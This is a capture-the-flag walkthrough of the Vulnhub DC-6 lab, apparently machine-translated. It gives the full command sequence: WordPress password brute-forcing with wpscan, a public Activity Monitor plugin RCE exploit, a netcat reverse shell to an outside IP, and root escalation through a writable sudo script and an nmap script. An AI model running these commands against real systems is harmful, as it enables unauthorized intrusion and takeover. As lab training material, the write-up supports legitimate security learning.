DC-6 -- vulnhub range

Range download address
Range clues ：
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
kali decompression
gzip -d rockyou.txt.gz

The host found

---

Redirect found , modify hosts file

vim /etc/hosts   

Website detection

---

wordpress, And mentioned plug-ins and security

Blasting users

wpscan --url http://wordy/ -e u

preservation , Use the password dictionary of clues to explode

wpscan --url http://wordy/ -P /root/ desktop /passwords.txt -U /root/ desktop /user.txt 

Username: mark, Password: helpdesk01

Log in to the backstage website

http://wordy/wp-login.php

After coming backstage , Plug in found activity monitor, Try to find any loopholes

getshell

---

searchsploit activity monitor 

Remote code execution vulnerability , Download to current path

searchsploit -m php/webapps/50110.py

perform

python3 50110.py 

After execution, you need to enter the target ip Address and background login account password , After successful execution, a shell

nc -lvvp 4444
nc -e /bin/bash 192.168.194.156 4444

Get interaction shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’

Raise the right

---

Reference resources
Came to home Catalog , stay mark/stuff Find one of them things-to-do.txt, obtain

user graham
password GSo7isUM1D4

Switching users

[email protected]:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4

See what you can do

[email protected]:/home/jens$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

towards backups.sh Write in file ”/bin/bash”, And jens The user executes the script

echo “/bin/bash” >> backups.sh
sudo -u jens ./backups.sh

After successful execution , Switch to the jens user

The user can execute nmap, Can pass namp Raise the right

echo 'os.execute("/bin/sh")' >getShell
sudo nmap --script=getShell

summary

---

Unfamiliar with the process of raising rights